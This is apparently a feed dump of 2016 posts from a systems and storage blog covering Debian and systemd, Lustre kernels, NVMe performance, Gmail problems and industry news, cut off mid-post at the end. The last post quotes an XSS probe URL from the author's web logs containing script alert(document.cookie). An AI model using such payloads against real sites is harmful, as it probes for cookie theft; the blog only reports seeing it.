https://blog.scalability.org/2016/07/systemd-and-non-desktop-scenarios/ Wed, 20 Jul 2016 18:49:47 +0000 https://blog.scalability.org/2016/07/systemd-and-non-desktop-scenarios/ So we’ve been using Debian 8 as the basis of our SIOS v2 system. Debian has a number of very strong features that make it a fantastic basis for developing a platform … for one, it doesn’t have significant negative baggage/technical debt associated with poor design decisions early on in the development of the system as others do. But it has systemd. I’ve been generally non-committal about systemd, as it seemed like it should improve some things, at a fairly minor cost in additional complexity. https://blog.scalability.org/2016/07/you-cant-win/ Wed, 20 Jul 2016 12:16:44 +0000 https://blog.scalability.org/2016/07/you-cant-win/ Like that old joke about the patient going to the Doctor for a pain … Imagine if you will, a patient whom, after being told what is wrong, and why it hurts, and what to do about it, continues to do it. And be more intensive about doing it. And then complains when it hurts. This is a rough metaphor for some recent support experiences. We do our best to convince them not to do the things that cause them pain, as in this case, they are self-inflicted. https://blog.scalability.org/2016/06/that-was-fun-no-wait-the-other-thing-not-fun/ Wed, 22 Jun 2016 21:26:49 +0000 https://blog.scalability.org/2016/06/that-was-fun-no-wait-the-other-thing-not-fun/ Long overdue update of the server this blog runs on. It is no longer running a Ubuntu flavor, but instead running SIOSv2 which is the same appliance operating system that powers our products. This isn’t specifically a case of eating our own dog-food, but more a case that Ubuntu, even the LTS versions, have a specific sell by date, and it is often very hard to update to the newer revs. https://blog.scalability.org/2016/06/and-this-was-a-good-idea-why/ Wed, 22 Jun 2016 13:23:08 +0000 https://blog.scalability.org/2016/06/and-this-was-a-good-idea-why/ The Debian/Ubuntu update tool is named “apt” with various utilities built around it. For the most part, it works very well, and software upgrades nicely. Sort of like yum and its ilk, but it pre-dates them. This tool is meant for automated (e.g. lights out) updates. No keyboard interaction should be required. Ever. For any reason. However … a recent update to one particular package, in Debian, and in Ubuntu, has resulted in installation/updates pausing. https://blog.scalability.org/2016/06/ma-vertical-integration-plays/ Thu, 16 Jun 2016 16:01:09 +0000 https://blog.scalability.org/2016/06/ma-vertical-integration-plays/ Two items of note here. First, Cavium acquires qlogic. This is interesting at some levels, as qlogic has been a long time player in storage (and networking). There are many qlogic FC switches out there, as well as some older Infiniband gear (pre-Intel sale). Cavium is more of a processor shop, having built a number of interesting SoC and general purpose CPUs. I am not sure the combo is going to be a serious contender to Intel or others in the data center space, but I think they will be working on carving out a specific niche. https://blog.scalability.org/2016/06/about-that-cloud-security/ Mon, 13 Jun 2016 12:20:05 +0000 https://blog.scalability.org/2016/06/about-that-cloud-security/ Wow … might want to rethink what you do and how you do it. See here. Put in simple terms, why bother to encrypt if your key is (trivially) recoverable? I did not realize that side channel attacks were so effective. Will read the paper. If this isn’t just a highly over specialized case, and is actually applicable to real world scenarios, we’ll need to make sure we understand methods to mitigate. https://blog.scalability.org/2016/06/ah-gmail-losing-more-emails/ Fri, 10 Jun 2016 17:36:50 +0000 https://blog.scalability.org/2016/06/ah-gmail-losing-more-emails/ So … my wife and I have private gmail addresses. Not related to the day job. She sends me an email from there. It never arrives. Gmail to gmail. Not in the spam folder. But to gmail. So I have her send it to this machine. Gets here right away. We moved the day job’s support email address off gmail (its just a reflector now) into the same tech running inside our FW. https://blog.scalability.org/2016/06/real-scalability-is-hard-aka-there-are-no-silver-bullets/ Tue, 07 Jun 2016 17:43:55 +0000 https://blog.scalability.org/2016/06/real-scalability-is-hard-aka-there-are-no-silver-bullets/ I talked about hypothetical silver bullets in the recent past at a conference and to customers and VCs. Basically, there is no such thing as a silver bullet … no magic pixie dust, or magical card, or superfantastic software you can add to a system to make it incredibly faster. Faster, better performing systems require better architecture (physical, algorithmic, etc.). You really cannot hope to throw a metric-ton of machines at a problem and hope that scaling is simple and linear. https://blog.scalability.org/2016/06/having-to-do-this-in-a-kernel-build-is-simply-annoying/ Thu, 02 Jun 2016 18:48:02 +0000 https://blog.scalability.org/2016/06/having-to-do-this-in-a-kernel-build-is-simply-annoying/ So there are some macros, DATE and TIME that the gcc compiler knows about. And some people inject these into their kernel module builds, because, well, why not. The issue is that they can make “reproducible builds” harder. Well, no, they really don’t. That’s a side issue. And of course, modern kernel builds use -Wall -Werror which converts warnings like macro "__TIME__" might prevent reproducible builds [-Werror=date-time] into real honest-to-goodness errors. https://blog.scalability.org/2016/05/talk-from-kxcon2016-on-hpc-storage-for-bigdata-analytics-is-up/ Tue, 24 May 2016 17:32:06 +0000 https://blog.scalability.org/2016/05/talk-from-kxcon2016-on-hpc-storage-for-bigdata-analytics-is-up/ See here, which was largely about how to architect high performance analytics platforms, and a specific shout out to our Forte NVMe flash unit, which is currently available in volume starting at $1 USD/GB. Some of the more interesting results from our testing: * 24GB/s bandwidth largely insensitive to block size. * 5+ Million IOPs random IO (5+MIOPs) sensitive to block size. * 4k random read (100%) were well north of 5M IOPs. https://blog.scalability.org/2016/05/going-to-kxcon2016-this-weekend-to-talk-nvme-hpc-storage-for-kdb-iot-and-bigdata/ Wed, 18 May 2016 23:00:50 +0000 https://blog.scalability.org/2016/05/going-to-kxcon2016-this-weekend-to-talk-nvme-hpc-storage-for-kdb-iot-and-bigdata/ This should be fun! This is being organized and run by my friend Lara of Xand Marketing. Excellent talks scheduled, fun bits (raspberry pi based kdb+!!!). Some similarities with the talk I gave this morning, but more of a focus on specific analytics issues relevant for people with massive time series data sets and a need to analyze them. Looking forward to getting out to Montauk … haven’t been there since I did my undergrad at Stony Brook. https://blog.scalability.org/2016/05/gave-a-talk-today-at-beegfs-user-meeting-2016-in-germany-on-nvme-hpc-storage/ Wed, 18 May 2016 20:31:38 +0000 https://blog.scalability.org/2016/05/gave-a-talk-today-at-beegfs-user-meeting-2016-in-germany-on-nvme-hpc-storage/ … through the magic of Google Hangouts. I think they will be posting the talk soon, but you are welcome to view the PDF here. https://blog.scalability.org/2016/05/success-with-rambooted-lustre-v2-8-53-for-hpc-storage/ Wed, 11 May 2016 17:42:35 +0000 https://blog.scalability.org/2016/05/success-with-rambooted-lustre-v2-8-53-for-hpc-storage/ [root@usn-ramboot ~]# uname -r 3.10.0-327.13.1.el7_lustre.x86_64 [root@usn-ramboot ~]# df -h / Filesystem Size Used Avail Use% Mounted on tmpfs 8.0G 4.3G 3.8G 53% / [root@usn-ramboot ~]# [root@usn-ramboot ~]# rpm -qa | grep lustre kernel-3.10.0-327.13.1.el7_lustre.x86_64 kernel-tools-3.10.0-327.13.1.el7_lustre.x86_64 kernel-devel-3.10.0-327.13.1.el7_lustre.x86_64 lustre-2.8.53_1_g34dada1-3.10.0_327.13.1.el7_lustre.x86_64.x86_64 kernel-tools-libs-devel-3.10.0-327.13.1.el7_lustre.x86_64 lustre-osd-ldiskfs-mount-2.8.53_1_g34dada1-3.10.0_327.13.1.el7_lustre.x86_64.x86_64 kernel-headers-3.10.0-327.13.1.el7_lustre.x86_64 lustre-osd-ldiskfs-2.8.53_1_g34dada1-3.10.0_327.13.1.el7_lustre.x86_64.x86_64 kernel-tools-libs-3.10.0-327.13.1.el7_lustre.x86_64 lustre-modules-2.8.53_1_g34dada1-3.10.0_327.13.1.el7_lustre.x86_64.x86_64 This means that we can run Lustre 2.8.x atop Unison. Still pre-alpha, as I have to get an updated kernel into this, as well as update all the drivers. https://blog.scalability.org/2016/05/its-not-perfect-but-we-have-centosrhel-7-2-and-lustre-integrated-into-sios-now/ Mon, 09 May 2016 17:48:20 +0000 https://blog.scalability.org/2016/05/its-not-perfect-but-we-have-centosrhel-7-2-and-lustre-integrated-into-sios-now/ Lustre is infamous for its kernel specificity, and it is, sadly, quite problematic to get running on a modern kernel (3.18+). This has implications for quite a large number of things, including whole subsystems with a partial back-porting to earlier kernels … which quite often misses very critical bits for stability/performance. I am not a fan of back porting for features, I am a fan of updating kernels for features. But that is another issue that I’ve talked about in the past. https://blog.scalability.org/2016/05/reason-31659275-not-to-use-java/ Mon, 09 May 2016 13:11:58 +0000 https://blog.scalability.org/2016/05/reason-31659275-not-to-use-java/ As seen on hacker news linking to an Arstechnica article, this little tidbit. This is the money quote: I know it seems obvious now to Google and to others, but mebbe … mebbe … they should rethink building a platform in a non-open language? I’ve talked about OSS type systems in terms of business risk for well more than a decade. OSS software intrinsically changes the risk model, so that you do not have a built in dependency upon another stack that could go away at any moment. https://blog.scalability.org/2016/05/isnt-this-the-definition-of-a-ponzi-scheme/ Mon, 02 May 2016 14:06:06 +0000 https://blog.scalability.org/2016/05/isnt-this-the-definition-of-a-ponzi-scheme/ From this article at the WSJ detailing the deflation of the tech bubble in progress now. A Ponzi scheme is like this: https://blog.scalability.org/2016/04/every-now-and-then-you-get-an-eye-opener/ Thu, 28 Apr 2016 20:21:22 +0000 https://blog.scalability.org/2016/04/every-now-and-then-you-get-an-eye-opener/ This one is while we are conditioning a Forte NVMe unit, and I am running our OS install scripts. Running dstat in a window to watch the overall system … ----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system-- usr sys idl wai hiq siq| read writ| recv send| in out | int csw 2 5 94 0 0 0| 0 22G| 218B 484B| 0 0 | 363k 368k 1 4 94 0 0 0| 0 22G| 486B 632B| 0 0 | 362k 367k 1 4 94 0 0 0| 0 22G| 628B 698B| 0 0 | 363k 368k 2 5 92 1 0 0| 536k 110G| 802B 2024B| 0 0 | 421k 375k 1 4 93 2 0 0| 0 22G| 360B 876B| 0 0 | 447k 377k Wait … is that 110GB/s (2nd line from bottom, in the writ column) ? https://blog.scalability.org/2016/04/new-sios-feature-compressed-ram-image-for-os/ Wed, 27 Apr 2016 19:22:05 +0000 https://blog.scalability.org/2016/04/new-sios-feature-compressed-ram-image-for-os/ Most people use squashfs which creates a read-only (immutable) boot environment. Nothing wrong with this, but this forces you to have an overlay file system if you want to write. Which complicates things … not to mention when you overwrite too much, and run out of available inodes on the overlayfs. Then your file system becomes “invalid” and Bad-Things-Happen(™). At the day job, we try to run as many of our systems out of ram disks as we can. https://blog.scalability.org/2016/04/there-are-times-2/ Wed, 20 Apr 2016 21:37:33 +0000 https://blog.scalability.org/2016/04/there-are-times-2/ that try my patience. Usually with poorly implemented filtering tools of one form or another. The SPF mechanism is to provide an anti-spoofing system, which identifies which machines are allowed to send email in your domain name. The tools that purport to test it? Not so good. I get conflicting answers from various tools for a simple SPF record. The online tester (interactive) seems to work and show me my config is working nicely. https://blog.scalability.org/2016/04/of-course-this-means-more-work-ahead/ Wed, 20 Apr 2016 04:05:29 +0000 https://blog.scalability.org/2016/04/of-course-this-means-more-work-ahead/ Our client code that pulls configuration bits from a boot server works great. But the config it pulls is distribution specific. Where we need to be is distribution/OS agnostic, and set things in a document database. Let the client convert the configuration into something OS specific. This is, to a degree, a solved problem. Indeed, etcd is just a modern reworking of what we did with the client code … using a fixed client (e. https://blog.scalability.org/2016/04/very-preliminary-rhel7centos7-sios-base-support/ Tue, 19 Apr 2016 19:21:47 +0000 https://blog.scalability.org/2016/04/very-preliminary-rhel7centos7-sios-base-support/ This is rebasing our SIOS tech atop RHEL7/CentOS7. Very early stage, pre-alpha, lots of debugger windows open … but … [root@usn-ramboot ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) [root@usn-ramboot ~]# uname -r 4.4.6.scalable [root@usn-ramboot ~]# df -h / Filesystem Size Used Avail Use% Mounted on tmpfs 8.0G 4.7G 3.4G 59% / Dracut is giving me a few fits, but I’ve finished that side for the most part, and am now into the debugging the post-pivot environment. https://blog.scalability.org/2016/04/best-practice-or-random-rule-diagnosing-problems-and-running-into-annoyances/ Mon, 18 Apr 2016 21:53:23 +0000 https://blog.scalability.org/2016/04/best-practice-or-random-rule-diagnosing-problems-and-running-into-annoyances/ As often as not, I’ll hear someone talk about a “best practice” that they are implementing or have implemented. Things that run counter to these “best practices” are obviously, by definition, “not best”. What I find sometimes amusing, often alarming, is that the “best practices” are often disconnected from reality in specific ways. This is not a bash on all best practices, some of them are sane, and real. Like not allowing plain text passwords for logins. https://blog.scalability.org/2016/04/attempting-and-to-some-degree-failing-to-prevent-a-user-from-accruing-technical-debt/ Thu, 07 Apr 2016 14:23:59 +0000 https://blog.scalability.org/2016/04/attempting-and-to-some-degree-failing-to-prevent-a-user-from-accruing-technical-debt/ We strive to do right by our customers. Sometimes this involves telling them unpleasant truths about choices they are going to make in the future, or have made in the past. I try not to overly sugar coat things … I won’t be judgemental … but I will be frank, and sometimes, this doesn’t go over well. During these discussions, I often see people insisting that their goal is X, but the steps Y to get there, will lead them to Z, which is not coincident with X. https://blog.scalability.org/2016/04/when-spam-bots-attack/ Tue, 05 Apr 2016 23:34:28 +0000 https://blog.scalability.org/2016/04/when-spam-bots-attack/ I’ve been fixing up a few mail servers to be more discriminating over their connections. And I’ve noted that I didn’t have any automated tooling to block the spammers. I have lots of tooling to filter and control things. So I wrote a quick log -> ban list generator. Not perfect, but it seems to work nicely. Like I don’t have enough to do this week. /sigh Meetings tomorrow starting at 8am. https://blog.scalability.org/2016/04/why-sticking-with-distro-packages-can-be-very-bad-for-your-security/ Mon, 04 Apr 2016 04:59:39 +0000 https://blog.scalability.org/2016/04/why-sticking-with-distro-packages-can-be-very-bad-for-your-security/ I’ve been keeping a variety of systems up to date, updating security and other bits with zealous fervor. Security is never far from my mind, as I’ve watched bad practices being used at customers resulting in any number of things … from minor probes, through (in one case, with a grad student impacted by a windows key logger), taking down a linux cluster, but not before knocking the university temporarily off the internet. https://blog.scalability.org/2016/04/not-so-modern-file-system-errors-in-modern-file-systems/ Fri, 01 Apr 2016 15:24:50 +0000 https://blog.scalability.org/2016/04/not-so-modern-file-system-errors-in-modern-file-systems/ On a system in heavy production use, using an underlying file system for metadata service, we see this: kernel: EXT4-fs warning: ext4_dx_add_entry:1992: Directory index full! Ok, where does this come from? Ext3 had a limit of 32000 directory entries per directory, unless you turned on the dir_index feature. Ext4 theoretically has no limit. Well, its 64000 if you don’t use dir_index. Which we do use. Really the feature you want is dir_nlink. https://blog.scalability.org/2016/03/sios-metrics-being-updated-soon-with-our-process-table-sampler/ Fri, 01 Apr 2016 01:17:48 +0000 https://blog.scalability.org/2016/03/sios-metrics-being-updated-soon-with-our-process-table-sampler/ I needed to look at processes on the machine I’d been spending time debugging, in terms of what was running, what the state, the allocations, the IO, etc. Something was causing a hard panic, and it seemed correlated with an application issue. I didn’t have a process space sampler, so I wrote one. Takes one sample per second right now (configurable) across the whole process space. Uses 1% CPU or so normally. https://blog.scalability.org/2016/03/caught-a-not-so-cool-bug-in-a-hypervisor-running-on-a-production-machine/ Fri, 01 Apr 2016 00:59:13 +0000 https://blog.scalability.org/2016/03/caught-a-not-so-cool-bug-in-a-hypervisor-running-on-a-production-machine/ Not naming names. Its a good product. It just gives up the ghost when you request 1.5x available memory, and the OS actually tries … tries … to fulfill the request. I thought I had set the maximum oversubscription amount to 85% of swap + physical. Yet, along came a nice spike and WHAMMO. Down the machine went. That this was a high visibility production machine, with hard uptime requirements … not so good. https://blog.scalability.org/2016/03/sadly-we-cant-afford-the-time-or-people-to-go-to-bioit-world-expo-next-week/ Fri, 01 Apr 2016 00:53:50 +0000 https://blog.scalability.org/2016/03/sadly-we-cant-afford-the-time-or-people-to-go-to-bioit-world-expo-next-week/ Short handed + lots of very near term projects + many things that demand our attention == us pulling out. I wish it was otherwise, but we have limited people bandwidth, and I can’t afford 2 days doing booth duty while we have hard deliverables. /sigh Maybe 2017. We’ll see. And no, even though HPC on Wall Street is the same time, we aren’t going to that either. I like the show, but same issue with timing/people/projects. https://blog.scalability.org/2016/03/no-really-we-are-different-than-all-the-others-you-worked-with/ Thu, 31 Mar 2016 15:58:01 +0000 https://blog.scalability.org/2016/03/no-really-we-are-different-than-all-the-others-you-worked-with/ Thus ended the plaintive cry of a management consulting hawking their wares, promising us high level meetings with “customers” with “budgets” in our space. This isn’t to say we don’t want more customers, we do. We always need more (and repeat) customers … this is the nature of our business. What we don’t need is pay-for-play. There is no shared risk, no incentive for the management consultant to deliver a set of business, as they are being paid, and that … the pay for play, is their business. https://blog.scalability.org/2016/03/it-is-2016-why-am-i-fighting-with-ldap-authentication-in-linux-why-doesnt-it-just-work/ Wed, 30 Mar 2016 14:26:11 +0000 https://blog.scalability.org/2016/03/it-is-2016-why-am-i-fighting-with-ldap-authentication-in-linux-why-doesnt-it-just-work/ Ok … very long story that boils down to us trying to help a customer out. I am trying to avoid the “lets just add another user to /etc/passwd” or similar such thing. And they aren’t quite ready to hook into AD or similar. So we have this issue. I want to enable their nodes to use ldap. I’ve done this before for other customers with older tools (pam_ldap, etc.). But it was somewhat crazy (as in non-trivial), involving gnashing of teeth, gums, etc. https://blog.scalability.org/2016/03/ways-to-not-reach-me/ Wed, 30 Mar 2016 13:39:38 +0000 https://blog.scalability.org/2016/03/ways-to-not-reach-me/ I’ve implemented a very strict policy for inbound phone calls. If I don’t recognize the number it goes to voicemail. If its important enough to call me, its important enough to leave me a message. If a call comes in with an unknown number, I won’t answer it. It can go through to voicemail. If it comes through with a restricted number, it only goes through to voicemail, though I am starting to think that such calls should be automatically blocked (as in never even given the opportunity to go to voicemail). https://blog.scalability.org/2016/03/spent-the-day-fighting-with-a-database-that-did-not-honor-be-liberal-in-what-you-accept/ Mon, 28 Mar 2016 20:50:28 +0000 https://blog.scalability.org/2016/03/spent-the-day-fighting-with-a-database-that-did-not-honor-be-liberal-in-what-you-accept/ To put it bluntly, its escaping not only doesn’t match its docs, but appears to be internally inconsistent. I kept getting errors that google couldn’t really find much on, other than to suggest they were fixed bugs. I might have something to say on that. Looking forward to the next phase of this work, where we skip this db and focus on kdb+. https://blog.scalability.org/2016/03/the-joys-of-automated-tooling-or-catching-changes-in-upstream-projects-workflows-by-errors-in-yours/ Sun, 20 Mar 2016 23:03:38 +0000 https://blog.scalability.org/2016/03/the-joys-of-automated-tooling-or-catching-changes-in-upstream-projects-workflows-by-errors-in-yours/ We have an automated build process for our boot images. It is actually quite good, allowing us to easily integrate many different capabilities with it. These capabilities are usually encapsulated in various software stacks that provide specific functionality. Most of these stacks follow pretty well defined workflows. For a number of reasons, we find building from source generally easier than package installation, as there are often some, well, effectively random (and often poor) choices in build options/file placement in the package builds. https://blog.scalability.org/2016/03/not-even-breaking-a-sweat-10gbs-write-to-single-node-forte-unit-over-100gb-net-realhyperconverged-hpc-storage/ Tue, 15 Mar 2016 17:54:40 +0000 https://blog.scalability.org/2016/03/not-even-breaking-a-sweat-10gbs-write-to-single-node-forte-unit-over-100gb-net-realhyperconverged-hpc-storage/ TL;DR version: 10GB/s write, 10GB/s read in a single 2U unit over 100Gb network to a backing file system. This is tremendous. The system and clients are using our default tuning/config. Real hyperconvergence requires hardware that can move bits to/from storage/networking very quickly. This is that. These units are available. Now. In volume. And are very reasonably priced (starting at $1USD/GB). Contact us for more details. This is with a file system … https://blog.scalability.org/2016/03/vc-landscape-changing-intel-capital-on-the-market/ Mon, 14 Mar 2016 02:38:04 +0000 https://blog.scalability.org/2016/03/vc-landscape-changing-intel-capital-on-the-market/ Saw this in a post on VentureBeat. Intel Capital has been an important player in the space for a while. What happens next to them is worth paying attention to. They’ve been in the thick of many interesting companies, though usually outside of Intel’s core foci. Somewhat beyond the normal corporate strategic VC roles. This could change a number of things for startups … new and existing. VCs have been sitting on the sidelines, or being less active over the recent past, and this is likely not to help the situation. https://blog.scalability.org/2016/03/massive-unapologetic-storage-firepower-part-4-on-the-test-track-with-a-forte-unit-vaaaaroooooommmmmmm/ Sun, 13 Mar 2016 18:28:57 +0000 https://blog.scalability.org/2016/03/massive-unapologetic-storage-firepower-part-4-on-the-test-track-with-a-forte-unit-vaaaaroooooommmmmmm/ I am trying to help people conceptualize the experience. Here is a video depicting very fast, very powerful cars and their sound signatures. This is a good start. Take one of those awesome machines, and turn off half the engine. So it is literally running with 1/2 of its power turned off. Remember this. There will be a quiz. As we flippantly noted in the video, this is face-melting performance. Had I any hair left, it would have been blown way back. https://blog.scalability.org/2016/03/just-another-day-debugging-someones-installer/ Fri, 11 Mar 2016 15:38:08 +0000 https://blog.scalability.org/2016/03/just-another-day-debugging-someones-installer/ I like the installers that attempt (and then fail) to calculate what they need, and generate installation target names programmaticlly. I know … I know… its an attempt to reduce the level of pain for some folks, as the algorithm works for some sets of inputs. But not mine. And mine are valid. What we need is an –I_know_what_the_heck_I_am_asking_for_so_please_just_do_the_install switch. Or, I have their installer (thankfully non-terrible perl code) up in an editor to see if I can find the offensive part, and then I can patch it (and send them the patch). https://blog.scalability.org/2016/03/what-a-difference-a-ceo-makes/ Mon, 07 Mar 2016 21:14:52 +0000 https://blog.scalability.org/2016/03/what-a-difference-a-ceo-makes/ So Microsoft will be starting to produce Linux software. This would never have happened under the previous CEO. With this change, Microsoft’s addressable market just grew fairly significantly for this product. Of course, there are ways for them to mess this up. Such as if they have features only available under windows. That would rather permanently consign this product to the dustbin of history. This said, I am hopeful that this CEO gets it, and will make sure that the changes Microsoft needs to make, are, in fact, made. https://blog.scalability.org/2016/03/one-of-those-days-where-you-search-for-information-on-a-problem/ Thu, 03 Mar 2016 21:21:15 +0000 https://blog.scalability.org/2016/03/one-of-those-days-where-you-search-for-information-on-a-problem/ and find that you wrote on a mailing list almost half a decade ago about the problem, that it hasn’t been fixed. This is a little sad. https://blog.scalability.org/2016/03/fixed-the-asymmetric-problem-by-moving-to-a-different-switchnetwork/ Wed, 02 Mar 2016 05:47:28 +0000 https://blog.scalability.org/2016/03/fixed-the-asymmetric-problem-by-moving-to-a-different-switchnetwork/ Long story but it was a time sensitive POC bug. I like the switch I was using, but we needed this up ASAP. Customer was waiting. So I yanked all the 40GbE cards from the servers, put in multiport 10GbE, set up 802.3ad LAGs. Then moved to the Arista in the lab (great switch BTW). Its been years since I set one up, so out came the manual. Read up on setting up the LAGs and port channels … I had forgotten why I liked using them so much. https://blog.scalability.org/2016/02/cool-asymmetric-network-performance-happened-to-mess-up-a-customer-benchmark/ Mon, 29 Feb 2016 04:52:46 +0000 https://blog.scalability.org/2016/02/cool-asymmetric-network-performance-happened-to-mess-up-a-customer-benchmark/ A bunch of Unison systems, a 40 GbE network interconnecting them, and a bunch of client nodes on 40GbE -> 4x 10GbE links (to accomodate enough clients for the load testing). 40GbE < -> 40GbE works great. Full bandwidth, only minor oddities (single thread performance around 27Gb/s, need multiple threads to hit 40). 10GbE < -> 10GbE works great. Full bandwidth, nothing odd. 10GbE -> 40GbE works great, get about the expected bandwidth (10GbE). https://blog.scalability.org/2016/02/interesting-so-will-they-be-sued-for-patents/ Thu, 18 Feb 2016 20:46:30 +0000 https://blog.scalability.org/2016/02/interesting-so-will-they-be-sued-for-patents/ Turns out next Ubuntu is fully baking in ZFS into the kernel and distributing it. This seems directly contrary to the licensing CDDL vs GPL, and chances are some folks will be unhappy with it. The big question is, will the IP holders sue. Because if they don’t, they may actually have given up their right to sue. Or has Canonical obtained a license to distribute. This is my understanding as I am not a lawyer, so I can’t really be sure of this (and I’d recommend you ask one if you are not sure). https://blog.scalability.org/2016/02/new-tool-to-help-visualize-procinterrupts-and-info-in-procirqint/ Wed, 03 Feb 2016 20:39:31 +0000 https://blog.scalability.org/2016/02/new-tool-to-help-visualize-procinterrupts-and-info-in-procirqint/ This is a start, not ready for release yet, but already useful as a diagnostic tool. I wanted to see how my IRQs were laid out, as this has been something of a persistent problem. I’ve built some intelligence into our irqassign.pl tool, but I need a way to see where the system is investing most of its interrupts. I omit (on purpose) IRQs that have been assigned, but have generated no interrupts. https://blog.scalability.org/2016/02/not-sufficiently-caffeinated-for-technical-work-today/ Tue, 02 Feb 2016 16:16:19 +0000 https://blog.scalability.org/2016/02/not-sufficiently-caffeinated-for-technical-work-today/ I just spent 30 minutes trying to figure out why the 32 bit q process would run on one machine, while the identical tree and config would fail with a license expired on my desktop (development box). Turns out one should check for an old license file in one’s home directory. /sigh I think I need to send an RFE for an ‘–low-coffee-mode’ option. https://blog.scalability.org/2016/02/not-a-fan-of-device-mapper-in-linux/ Mon, 01 Feb 2016 18:10:10 +0000 https://blog.scalability.org/2016/02/not-a-fan-of-device-mapper-in-linux/ Yeah, I know. It brings all manner of capabilities with it. Its just the cost of these capabilities, when combined with other tools, like, say, Docker, that make me not want to use it. To wit: root@ucp-01:~# ls -alF /var/lib/docker/devicemapper/devicemapper/ total 52508 drwx------ 2 root root 80 Jan 29 22:38 ./ drwx------ 4 root root 80 Jan 29 22:38 ../ -rw------- 1 root root 107374182400 Jan 29 22:39 data -rw------- 1 root root 2147483648 Jan 29 22:39 metadata root@ucp-01:~# ls -halF /var/lib/docker/devicemapper/devicemapper/ total 52M drwx------ 2 root root 80 Jan 29 22:38 . https://blog.scalability.org/2016/01/radio-free-hpc-is-as-usual-worth-a-listen/ Fri, 29 Jan 2016 03:42:45 +0000 https://blog.scalability.org/2016/01/radio-free-hpc-is-as-usual-worth-a-listen/ Good wrap up of last years trends, this week at InsideHPC Radio Free HPC podcast. We get a small mention around 10:50 or so. Thats not why its an especially good listen. The team arrived at many of the same conclusions we did last year, which is why we brought out Forte, and we have some additional products planned in that line for later on in the year. Basically NVM and variants, NVMe, etc. https://blog.scalability.org/2016/01/when-infinite-resources-arent-and-why-software-assumes-they-are-infinite/ Wed, 27 Jan 2016 18:48:54 +0000 https://blog.scalability.org/2016/01/when-infinite-resources-arent-and-why-software-assumes-they-are-infinite/ We’ve got customers with very large resource machines. And software that sees all those resources and goes “gimme!!!!”. So people run. And then more people use it. And more runs. Until the resources are exhausted. And hilarity (of the bad kind) ensues. These are firedrills. I get an open ticket that “there must be something wrong with the hardware”, when I see all the messages in console logs being pulled in from ICL saying “zOMG I am out of ram …. https://blog.scalability.org/2016/01/unexpected-cloud-storage-retrieval-charges-or-rtfm/ Mon, 18 Jan 2016 13:14:03 +0000 https://blog.scalability.org/2016/01/unexpected-cloud-storage-retrieval-charges-or-rtfm/ An article appeared on HN this morning. In it, the author noted that all was not well with the universe, as their backup, using Amazon’s Glacier product, wound up being quite expensive for a small backup/restore. The OP discovered some of the issues with Glacier when they began the restore (not commenting on performance, merely the costing). Basically, to lure you in, they provide very low up front costs. That is, until you try to pull the data back for some reason. https://blog.scalability.org/2016/01/container-jutsu/ Wed, 13 Jan 2016 04:54:17 +0000 https://blog.scalability.org/2016/01/container-jutsu/ Linux containers are all the rage, with Docker, rkt, lxd, etc. all in market to various degrees. You have companies like Docker, CoreOS, and Rancher all vying for mindshare, not to mention some of the plumbing bits by google and many others. I don’t think they are a fad, there is much that is good with containers, when they are done right. To see how they are done right, have a good hard long look at SmartOS. https://blog.scalability.org/2016/01/hard-filtering-of-calls/ Mon, 11 Jan 2016 18:38:15 +0000 https://blog.scalability.org/2016/01/hard-filtering-of-calls/ I find that, over time, my cell phone number has propagated out to spammers/scammers whom want to call me up to sell me something. The US national do-not-call registry hasn’t helped. The complaints I’ve filed haven’t helped. So I filter. My filtering algo looks like this: if (number_is_known_person_or_org(phone_number)) { take_call_if_possible(); else if (number_is_unknown(phone_number)) { filter_stage_2(phone_number) } function filter_stage_2(phone_number) { // I ignore 80% of numbers I don't know, let them go to // voicemail. https://blog.scalability.org/2015/12/nutanix-files-for-ipo/ Wed, 23 Dec 2015 14:56:59 +0000 https://blog.scalability.org/2015/12/nutanix-files-for-ipo/ Short story here. I am not going to pour over their S-1 form to find interesting tidbits, others will do that, and are paid to do so. They are the first of several, though I had thought that Dell would acquire them before they hit IPO. I am guessing that the combination of the price for them, plus the EMC acquisition stopped this conversation. So now Nutanix is going to IPO. https://blog.scalability.org/2015/12/toshiba-contemplating-spinning-out-nand-flash/ Wed, 23 Dec 2015 14:39:50 +0000 https://blog.scalability.org/2015/12/toshiba-contemplating-spinning-out-nand-flash/ This is remarkable if true, and if they follow through with it, it will change the landscape of Flash quite a bit. Right now there are 43 major flash providers, and a few smaller ones. Building flash fabs is expensive, even given the demand and process improvements, there is still quite a bit of investment required to set up a flash fab. Toshiba has some cool kit here, we’ve worked with it (and in full disclosure, we were talking about working more closely with them in the past). https://blog.scalability.org/2015/12/google-gmail-is-broken-not-passing-emails-losing-others/ Tue, 22 Dec 2015 23:00:12 +0000 https://blog.scalability.org/2015/12/google-gmail-is-broken-not-passing-emails-losing-others/ Yeah, the headline says it all. The reason I rolled to GMail (and am paying for it for each user and then some) for the corporate services was, well, they promised to make running email easy, painless, and I wouldn’t have to worry about email management any more. Now I have to worry about pissed off customers whom are angry at me for not responding, even though I see the outbound emails in my sent folder, and from our ticketing system. https://blog.scalability.org/2015/12/ma-netapp-grabs-solidfire/ Tue, 22 Dec 2015 15:36:39 +0000 https://blog.scalability.org/2015/12/ma-netapp-grabs-solidfire/ This one has been in the rumor mill for a while. NetApp has been needing something to play well in the all flash array space, and it now has something. This said, the array space is very much on the decline certainly with respect to dumb JBODs and smart “filer heads”. That design is being retired in favor of smarter and hyperconverged systems. Such as Unison with Ceph, Forte, and related HCI (hyper converged infrastructure) systems. https://blog.scalability.org/2015/12/good-read-on-market-sizing-for-vcs-and-entrepreneurs/ Tue, 15 Dec 2015 12:37:28 +0000 https://blog.scalability.org/2015/12/good-read-on-market-sizing-for-vcs-and-entrepreneurs/ Not a how to guide, but a higher level meta discussion … about that market size discussion. See here. I’ve experienced the endless cycle of meetings over “size of market”. Not fun. These days, I have a very simple classifier with respect to investors. foreach investor (list_of_investors) { if (investor->says_yes_sends_term_sheet_and_check) { put_money_to_work_building_value() } else { add_to_list_of_investors_who_didnt_say_yes_and_follow_through_with_money() } } This is pseudo code for the algo you need. Any answer which is yes is good. https://blog.scalability.org/2015/12/bots-on-amazon/ Mon, 14 Dec 2015 22:38:46 +0000 https://blog.scalability.org/2015/12/bots-on-amazon/ Seeing lots of these in my web server logs: https://scalableinformatics.com/?p=%3Cscript%3Ealert(document.cookie)%3C/script%3E which are sent there from a sentinel redirection mechanism on a different web server. A number, maybe 10 or so? Amazon hosts are now doing this. I am guessing this would be real darned easy to trace back to the sources. And either someone’s instance in the cloud is not under their control, or someone is 